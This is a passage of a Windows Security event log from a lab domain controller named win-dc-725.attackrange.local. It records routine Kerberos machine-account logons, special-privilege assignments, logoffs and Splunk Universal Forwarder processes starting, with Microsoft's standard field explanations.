Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59501 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257226 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CA62D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257225 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4CA56B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 59500 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257224 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CA56B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257223 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4CA522 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257222 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CA522 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257221 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4CA414 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59499 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257220 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CA414 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257219 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:17:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257232 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:17:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257231 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:17:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257233 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CA62D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:17:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257236 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CD2C5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:17:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257235 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4CD2C5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59512 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:17:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257234 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CD2C5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:18:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257237 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:18:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257238 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:18:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257239 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:18:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257240 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd14 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:18:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257241 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:18:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257243 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb2c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:18:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257242 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x574 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:18:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257246 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4D0841 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:18:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257245 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4D0841 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59525 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 